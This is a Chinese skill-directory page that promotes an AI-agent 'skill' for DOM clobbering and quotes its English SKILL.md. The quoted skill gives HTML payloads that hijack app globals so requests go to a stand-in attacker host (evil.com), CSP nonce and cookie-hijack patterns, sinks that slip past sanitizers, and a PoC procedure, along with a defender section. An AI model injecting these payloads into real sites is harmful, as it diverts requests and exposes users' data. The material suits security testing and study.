跳到正文
Skillpedia
安全6.5k · #14061

dom-clobbering

它能做什么

这项技能讲解带名称的 HTML 元素如何覆盖页面中的 JavaScript 变量。适合检查经过过滤的 HTML 是否仍能改变页面运行方式的安全测试人员。

适用场景

  • ✓当网站允许用户添加经过过滤、但仍可能包含带名称元素的 HTML 时。
  • ✓当安全审查询问页面脚本读取的全局设置是否可能被 HTML 覆盖时。
  • ✓当你想检查内容安全策略是否可以通过 HTML 被绕过时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/dom-clobbering/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“请帮我检查,我的评论区的 HTML 过滤器是否仍允许用户更改我页面的 JavaScript 设置?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体测试一个使用指定名称或 id 的元素,能否在不使用脚本标签的情况下替换页面所读取的值,例如配置对象。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

DOM Clobbering

Named HTML elements (<form>, <a>, <input>, <img>) with name= or id= are accessible as JavaScript properties of window and document. If app code does if (window.config.endpoint) and attacker can inject HTML (even sanitized), they can replace window.config with an HTML element.

1. The classic

<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
    fetch(window.config.endpoint + '/data');
}
</script>

<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>

window.config resolves to the form. window.config.endpoint resolves to the input. .endpoint is now "//evil.com". App fetches from evil.

2. Common targets

  • window.location overwrite (anchor w/ id=location)
  • Library global config (jQuery's $.cookie, etc)
  • CSP nonce/source values read from globals
  • document.cookie (limited but exploitable)
  • window.onerror clobber

3. Payload patterns

Single-element clobber

<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->

Multi-level clobber (a.b.c)

<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->

<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->

CSP nonce theft

<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->

Cookie attribute hijack

<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->

4. Where to inject

DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:

  • CMS rich-text content
  • Markdown renderers (especially raw HTML-allowed)
  • Comment systems
  • Profile fields rendered into the page

5. Detection

// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
  .filter(e => e.name || e.id)
  .map(e => [e.tagName, e.name || e.id]);

// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)

6. PoC

Find an HTML-injection sink (not strict XSS) that passes sanitizer because no JS. Inject the form clobber. Confirm via observed network request to //evil.com (DNS-level via interactsh).

7. Severity

Bug Severity
Clobber → CSP bypass enabling stored XSS Critical 9.0
Clobber of endpoint → exfil PII High 8.0
Clobber of OAuth flow config Critical 9.0
Standalone clobber w/o exploitable chain Low-Medium

8. Defender

  • Sanitizers should strip id= and name= from user content (DOMPurify has ALLOW_DATA_ATTR: false + FORBID_ATTR: ['id', 'name'] config)
  • Use Object.defineProperty(window, 'config', {value: cfg, writable: false}) for security-critical globals
  • Use scoped namespaces instead of window globals
  • CSP script-src w/ hashes (not just nonces) — DOM clobbering can't fake the hash

Cross-references

  • Upstream: skills/_corpus/payloads/DOM Clobbering/
  • XSS overlap: skills/exploit/web/xss.md
  • CSS injection (similar tactical mindset): skills/exploit/web/css-injection/SKILL.md (when added)

Known exemplars

  • Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
  • Bypass of Google's Closure templating system
  • Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains
常见问题

如果脚本被阻止,这为什么仍然重要?

该技能指出,不含脚本的带名称元素仍能改变页面所读取的内容,从而可能导致错误的请求。

它提到了哪些目标?

它提到了 window.location、库的设置、从全局变量读取的 CSP 值以及 Cookie 处理等目标。

这种攻击需要完整的脚本注入吗?

不需要。该技能关注的是无需脚本标签即可生效的带名称 HTML 元素。

详情

作者的原始描述

DOM clobbering — abuse named HTML elements to overwrite JavaScript global variables, bypass CSP, hijack object property lookups.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14061
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能